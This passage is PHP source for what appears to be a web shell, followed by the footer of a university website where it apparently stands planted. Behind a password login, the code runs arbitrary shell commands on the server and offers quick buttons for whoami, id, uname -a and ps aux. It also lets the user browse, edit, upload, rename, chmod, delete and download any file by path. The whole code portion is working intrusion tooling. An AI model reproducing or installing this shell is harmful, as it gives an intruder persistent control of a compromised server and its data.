        echo '<span class="sep">/</span>';
        echo '<a href="?path=' . urlencode($built_path) . '">' . htmlspecialchars($part) . '</a>';
    }
    echo '</div>';
}

function render_advanced_tools($current_path) {
    echo '<button class="tab-button active" onclick="showTab(\'file-manager\', this)">▤ File Manager</button>';
    echo '<button class="tab-button" onclick="showTab(\'system-tools\', this)">⌘ System Tools</button>';
    
    echo '<div id="system-tools" class="tab-content">';
    echo '<div class="card">';
    echo '<h3>System Information & Command Execution</h3>';
    echo '<div class="current-path"><span style="color:var(--brand);">▸</span> ' . htmlspecialchars($current_path) . '</div>';
    
    echo '<div class="tool-grid">';
    
    echo '<div class="tool-box">';
    echo '<h4>System Info</h4>';
    echo '<div class="command-output">'.htmlspecialchars(get_system_info()).'</div>';
    echo '</div>';
    
    echo '<div class="tool-box">';
    echo '<h4>Command Execution</h4>';
    echo '<div class="cmd-form">';
    echo '<input type="text" id="custom-cmd" class="cmd-input" placeholder="Type a command..." onkeydown="if(event.key===\'Enter\'){event.preventDefault();executeCustomCommand();}">';
    echo '<button class="btn btn-primary" onclick="executeCustomCommand()">Run ▶</button>';
    echo '</div>';
    echo '<div class="quick-cmd-buttons">';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'pwd\')">pwd</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'ls -la\')">ls -la</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'whoami\')">whoami</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'id\')">id</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'uname -a\')">uname -a</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'ps aux\')">ps aux</button>';
    echo '</div>';
    echo '<div class="command-output" id="command-output">Output will appear here...</div>';
    echo '</div>';
    
    echo '</div></div></div>';
}

function render_file_manager($path, $dir_list, $message = '') {
    render_header();
    
    set_session('current_path', $path);
    
    echo '<div class="card">';
    echo '<div class="tab-nav">';
    render_advanced_tools($path);
    echo '</div>';
    
    echo '<div id="file-manager" class="tab-content active">';
    
    if ($message) {
        $msg_type = strpos(strtolower($message), 'error') === false ? 'msg-success' : 'msg-error';
        echo "<div class='message $msg_type'>".htmlspecialchars(urldecode($message))."</div>";
    }

    render_breadcrumbs($path);

    $parent_path = dirname($path);
    echo '<div class="row-actions-bar">';
    if ($parent_path != $path) {
        echo '<a href="?path='.urlencode($parent_path).'" class="btn">← Back</a> ';
    }
    echo '<a href="'.get_self().'" class="btn">⌂ Home</a>';
    echo '</div>';
    
    echo '<div class="card" style="background:var(--paper);">';
    echo '<h4>File Operations</h4>';
    echo '<div class="ops-grid">';
    echo '<form method="POST"><label>New File</label><div class="input-group"><input type="text" name="filename" placeholder="filename.txt"><input type="submit" name="newfile" value="Create"></div></form>';
    echo '<form method="POST"><label>New Directory</label><div class="input-group"><input type="text" name="dirname" placeholder="folder name"><input type="submit" name="newdir" value="Create"></div></form>';
    echo '<form id="upload-form"><label>Upload File</label><div class="input-group"><input type="file" id="file-input"><input type="submit" value="Upload"></div></form>';
    echo '</div>';
    echo '<div id="upload-status"></div>';
    echo '<div class="progress-container" id="upload-progress-container"><div class="progress-bar" id="upload-progress"></div></div>';
    echo '</div>';

    echo '<div class="table-wrapper"><table><thead><tr><th>Name</th><th class="hide-mobile">Size</th><th class="hide-mobile">Modified</th><th>Perms</th><th class="hide-mobile">Owner</th><th>Actions</th></tr></thead><tbody>';
    foreach ($dir_list as $item) {
        echo '<tr>';
        $link = $item['is_dir'] 
            ? '?path='.urlencode($item['path'])
            : '?edit='.urlencode($item['path']);
        $icon = $item['is_dir'] ? 'D' : 'F';
        echo '<td><a href="'.$link.'" class="file-name"><span class="icon">'.$icon.'</span>'.htmlspecialchars($item['name']).'</a></td>';
        echo '<td class="hide-mobile">'.$item['size'].'</td>';
        echo '<td class="hide-mobile">'.$item['modified'].'</td>';
        echo '<td><span class="perm-badge">'.$item['perms'].'</span></td>';
        echo '<td class="hide-mobile">'.$item['owner'].'</td>';
        echo '<td class="actions" id="actions-'.md5($item['path']).'">';
        if ($item['name'] != '..') {
            if ($item['is_file']) echo '<a href="?edit='.urlencode($item['path']).'">Edit</a>';
            echo '<a href="#" onclick="showRenameForm(\''.htmlspecialchars($item['path']).'\', \''.htmlspecialchars($item['name']).'\', \''.md5($item['path']).'\'); return false;">Rename</a>';
            echo '<a href="#" onclick="showChmodForm(\''.htmlspecialchars($item['path']).'\', \''.htmlspecialchars($item['perms']).'\', \''.md5($item['path']).'\'); return false;">Chmod</a>';
            if ($item['is_file']) echo '<a href="?download='.urlencode($item['path']).'">Download</a>';
            echo '<a href="?delete='.urlencode($item['path']).'" class="delete" onclick="return confirm(\'Delete this item?\');">Delete</a>';
        }
        echo '</td></tr>';
    }
    echo '</tbody></table></div>';
    echo '</div>';
    echo '</div>';

    echo <<<JS
    <script>
    function showRenameForm(path, name, elementId) {
        const actionsCell = document.getElementById('actions-' + elementId);
        const originalContent = actionsCell.innerHTML;
        
        const form = document.createElement('form');
        form.className = 'rename-form';
        form.method = 'POST';
        form.onsubmit = function() {
            if (!this.newname.value.trim()) { alert('Please enter a new name'); return false; }
            return true;
        };
        
        const input = document.createElement('input');
        input.type = 'hidden'; input.name = 'rename'; input.value = path;
        form.appendChild(input);
        
        const nameInput = document.createElement('input');
        nameInput.type = 'text'; nameInput.name = 'newname'; nameInput.value = name;
        form.appendChild(nameInput);
        
        const submit = document.createElement('button');
        submit.type = 'submit'; submit.textContent = 'OK';
        form.appendChild(submit);
        
        const cancel = document.createElement('button');
        cancel.type = 'button'; cancel.textContent = 'X'; cancel.className = 'cancel';
        cancel.onclick = function() { actionsCell.innerHTML = originalContent; };
        form.appendChild(cancel);
        
        actionsCell.innerHTML = '';
        actionsCell.appendChild(form);
        nameInput.focus(); nameInput.select();
    }

    function showChmodForm(path, perms, elementId) {
        const actionsCell = document.getElementById('actions-' + elementId);
        const originalContent = actionsCell.innerHTML;
        
        const form = document.createElement('form');
        form.className = 'rename-form';
        form.method = 'POST';
        
        const input = document.createElement('input');
        input.type = 'hidden'; input.name = 'chmod'; input.value = path;
        form.appendChild(input);
        
        const permInput = document.createElement('input');
        permInput.type = 'text'; permInput.name = 'mode'; permInput.value = perms;
        permInput.size = 4; permInput.style.width = '60px';
        form.appendChild(permInput);
        
        const submit = document.createElement('button');
        submit.type = 'submit'; submit.textContent = 'Set';
        form.appendChild(submit);
        
        const cancel = document.createElement('button');
        cancel.type = 'button'; cancel.textContent = 'X'; cancel.className = 'cancel';
        cancel.onclick = function() { actionsCell.innerHTML = originalContent; };
        form.appendChild(cancel);
        
        actionsCell.innerHTML = '';
        actionsCell.appendChild(form);
        permInput.focus(); permInput.select();
    }
    
    const uploadForm = document.getElementById('upload-form');
    const fileInput = document.getElementById('file-input');
    const uploadStatus = document.getElementById('upload-status');
    const progressBar = document.getElementById('upload-progress');
    const progressContainer = document.getElementById('upload-progress-container');

    uploadForm.addEventListener('submit', function(e) {
        e.preventDefault();
        const file = fileInput.files[0];
        if (!file) { uploadStatus.innerText = 'Please select a file to upload.'; return; }
        
        progressContainer.style.display = 'block';
        const CHUNK_SIZE = 1024 * 1024;
        const totalChunks = Math.ceil(file.size / CHUNK_SIZE);
        let currentChunk = 0;

        function uploadChunk() {
            if (currentChunk >= totalChunks) return;
            const start = currentChunk * CHUNK_SIZE;
            const end = Math.min(start + CHUNK_SIZE, file.size);
            const chunk = file.slice(start, end);
            
            const formData = new FormData();
            formData.append('action', 'upload_chunk');
            formData.append('chunk', chunk, file.name);
            formData.append('chunk_num', currentChunk);
            formData.append('total_chunks', totalChunks);
            formData.append('filename', file.name);

            fetch('', { method: 'POST', body: formData })
            .then(response => response.json())
            .then(data => {
                if (data.status === 'error') {
                    uploadStatus.innerText = 'Error: ' + data.message;
                    progressBar.style.background = '#b64a4a';
                    return;
                }
                currentChunk++;
                const progress = Math.round((currentChunk / totalChunks) * 100);
                progressBar.style.width = progress + '%';
                progressBar.innerText = progress + '%';
                if (data.status === 'success') {
                    uploadStatus.innerText = data.message;
                    progressBar.style.background = '#4a7c3f';
                    setTimeout(() => window.location.reload(), 1500);
                } else {
                    uploadStatus.innerText = data.message;
                    uploadChunk();
                }
            })
            .catch(error => {
                uploadStatus.innerText = 'A critical error occurred during upload.';
                progressBar.style.background = '#b64a4a';
            });
        }

        uploadStatus.innerText = 'Starting upload for ' + file.name + '...';
        progressBar.style.width = '0%';
        progressBar.innerText = '0%';
        progressBar.style.background = '#2f7e78';
        uploadChunk();
    });
    </script>
JS;

    render_footer();
}

// --- Main Controller ---

// Handle logout
if (get_get('logout')) {
    session_destroy();
    redirect(get_self());
}

// Handle login
if (get_post('login')) {
    $pass = get_post('pass');
    if (password_verify($pass, APP_PASSWORD_HASH)) {
        set_session('login', true);
        set_session('login_time', time());
        redirect(get_self());
    } else {
        render_login(true);
        exit;
    }
}

// Check authentication
if (!get_session('login')) {
    render_login();
    exit;
}

// Session timeout (2 jam)
if (get_session('login_time') && (time() - get_session('login_time') > 7200)) {
    session_destroy();
    redirect(get_self());
}

// Initialize
$path = get_path();
$message = isset($_GET['msg']) ? $_GET['msg'] : '';
$redirect_path = '?path='.urlencode($path);

// Handle Actions
if (get_post('action') === 'execute_command') {
    header('Content-Type: application/json');
    $cmd = get_post('command');
    $current_path = get_post('current_path') ?: $path;
    if ($cmd) {
        echo json_encode(['output' => execute_command($cmd, $current_path)]);
    } else {
        echo json_encode(['output' => 'No command provided']);
    }
    exit;
}

if (get_post('action') === 'save_ajax') {
    header('Content-Type: application/json');
    $edit_path = ($p = get_post('path')) ? $p : '';
    $content = isset($_POST['content']) ? $_POST['content'] : '';
    if (!is_file($edit_path) || !is_writable($edit_path)) {
        echo json_encode(['status' => 'error', 'message' => 'Error: File not found or not writable.']);
        exit;
    }
    if (save_file($edit_path, $content)) {
        echo json_encode(['status' => 'success', 'message' => 'File saved successfully! (' . date('H:i:s') . ')']);
    } else {
        echo json_encode(['status' => 'error', 'message' => 'Error: Could not save file. Check permissions.']);
    }
    exit;
}

if (get_post('action') === 'upload_chunk') {
    header('Content-Type: application/json');
    $file = get_files('chunk');
    $chunk_num = get_post('chunk_num');
    $total_chunks = get_post('total_chunks');
    $filename = get_post('filename');
    
    if (!$file || $chunk_num === false || $total_chunks === false || !$filename) {
        echo json_encode(['status' => 'error', 'message' => 'Invalid chunk upload request.']);
        exit;
    }

    $temp_filename = $filename . '.part';
    $temp_filepath = $path . '/' . $temp_filename;
    $chunk_content = file_get_contents($file['tmp_name']);
    
    if ($chunk_content === false) {
        echo json_encode(['status' => 'error', 'message' => 'Could not read chunk data.']);
        exit;
    }
    if (file_put_contents($temp_filepath, $chunk_content, FILE_APPEND) === false) {
        echo json_encode(['status' => 'error', 'message' => 'Could not write to .part file.']);
        exit;
    }

    if ((int)$chunk_num === (int)$total_chunks - 1) {
        $final_filepath = $path . '/' . $filename;
        if (file_exists($final_filepath)) {
             unlink($temp_filepath);
             echo json_encode(['status' => 'error', 'message' => 'File with this name already exists.']);
        } else {
            if (rename($temp_filepath, $final_filepath)) {
                echo json_encode(['status' => 'success', 'message' => 'File uploaded successfully! Reloading...']);
            } else {
                unlink($temp_filepath);
                echo json_encode(['status' => 'error', 'message' => 'Could not finalize file.']);
            }
        }
    } else {
        echo json_encode(['status' => 'chunk_received', 'message' => "Chunk " . ((int)$chunk_num + 1) . " of $total_chunks received..."]);
    }
    exit;
}

if (get_post('newfile') && ($filename = get_post('filename'))) {
    $new_path = $path . '/' . basename($filename);
    if (!file_exists($new_path)) {
        touch($new_path);
        $message = "File created: " . $filename;
    } else {
        $message = "Error: File already exists.";
    }
    redirect($redirect_path . '&msg='.urlencode($message));
}

if (get_post('newdir') && ($dirname = get_post('dirname'))) {
    $new_path = $path . '/' . basename($dirname);
    if (!file_exists($new_path)) {
        mkdir($new_path);
        $message = "Directory created: " . $dirname;
    } else {
        $message = "Error: Directory already exists.";
    }
    redirect($redirect_path . '&msg='.urlencode($message));
}

if ($chmod_path = get_post('chmod')) {
    $mode = get_post('mode');
    if ($mode) {
        if (preg_match('/^[0-7]{3,4}$/', $mode)) {
            if (@chmod($chmod_path, octdec($mode))) {
                $message = "Permissions changed for " . basename($chmod_path) . " to " . $mode;
            } else {
                $message = "Error: Could not change permissions.";
            }
        } else {
            $message = "Error: Invalid permission mode.";
        }
    } else {
        $message = "Error: Mode is empty.";
    }
    redirect($redirect_path . '&msg='.urlencode($message));
}

if ($rename_path = get_post('rename')) {
    $new_name = get_post('newname');
    if ($new_name) {
        $rename_path = str_replace('\\', '/', $rename_path);
        if (rename_item($rename_path, $new_name)) {
            $message = "Renamed successfully";
        } else {
            $error_msg = "Error: Could not rename. ";
            if (!file_exists($rename_path)) $error_msg .= "Source file does not exist. ";
            if (file_exists(dirname($rename_path) . '/' . basename($new_name))) $error_msg .= "Target file already exists. ";
            if (!is_writable(dirname($rename_path))) $error_msg .= "Directory is not writable. ";
            $message = $error_msg;
        }
    } else {
        $message = "Error: New name is empty.";
    }
    redirect($redirect_path . '&msg='.urlencode($message));
}

if ($delete_path = get_get('delete')) {
    $is_dir = is_dir($delete_path);
    $parent_path = '?path='.urlencode(dirname($delete_path));
    if ($is_dir ? rmdir($delete_path) : unlink($delete_path)) {
        $message = "Deleted: " . basename($delete_path);
    } else {
        $message = "Error: Could not delete.";
    }
    redirect($parent_path . '&msg='.urlencode($message));
}

if ($edit_path = get_get('edit')) {
    if (!is_file($edit_path) || !is_readable($edit_path)) {
        redirect('?path='.urlencode($path).'&msg='.urlencode('Error: File not found.'));
    }
    render_editor($edit_path, file_get_contents($edit_path));
    exit;
}

if ($dl_path = get_get('download')) {
    if (is_file($dl_path) && is_readable($dl_path)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($dl_path).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($dl_path));
        readfile($dl_path);
        exit;
    } else {
        redirect('?path='.urlencode($path).'&msg='.urlencode('Error: File not found.'));
    }
}

// Default View
$dir_list = get_dir_list($path);
render_file_manager($path, $dir_list, $message);

?>

Quick Links

  • Penerimaan Mahasiswa Baru

Sosial Media

  • Facebook
  • Youtube
  • Instagram
  • TikTok

Categories

Events Kegiatan KKN opini Prestasi Profil Pejabat Rektor Unigoro Cup Riset Uncategorized
  • Facebook
  • Youtube
  • Instagram
  • TikTok
Copyright © 2026 Universitas Bojonegoro. All rights reserved.
Yayasan Suyitno by UNIGORO
Scroll Up

MinGo Asisten